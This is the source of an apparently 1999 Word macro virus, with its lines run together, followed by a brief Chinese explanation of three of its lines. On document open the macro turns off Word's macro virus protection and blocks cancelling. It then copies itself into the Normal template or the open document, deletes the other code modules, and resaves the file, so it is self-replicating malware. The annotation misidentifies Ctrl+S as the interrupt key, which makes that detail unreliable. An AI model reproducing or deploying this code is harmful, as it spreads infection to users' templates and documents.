'Close()Open()Close()Open()Private Sub Document_Open()    On Error Resume Next    Options.VirusProtection = False    EnableCancelKey = wdCancelDisabled    Set maci = MacroContainer.VBProject.VBComponents.Item(1)    Set macic = maci.codemodule    ns$ = Left(macic.Lines(1, 1), 21)    Set inf = NormalTemplate: nsi$ = ns$ + "Close()"        If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "Open()"    Set infc = inf.VBProject.VBComponents    Set infi = infc.Item(1)    Set infic = infi.codemodule    infi.Name = "ThisDocument"    For mx = 2 To infc.Count        infc.Remove infc.Item(2)    Next mx        If infic.countlines <> macic.countoflines Then            infic.deletelines 1, infic.countoflines            For coco = 1 To macic.countoflines                infic.insertlines coco, macic.Lines(coco, 1)            Next coco            infic.replaceline 1, nsi$        End If    If Left(ActiveDocument.Name, 8) <> Mid$(macic.Lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName    EnableCancelKey = wdCancelDisabledEnd Sub'ThisDocument v 1.0 1999

On Error Resume Next：遇到错误时，代码会继续执行下一条指令，而不是停止。Options.VirusProtection = False：关闭 Word 的病毒保护功能。EnableCancelKey = wdCancelDisabled：禁用取消键，这意味着用户无法通过按 Ctrl + S 来中断宏的执行。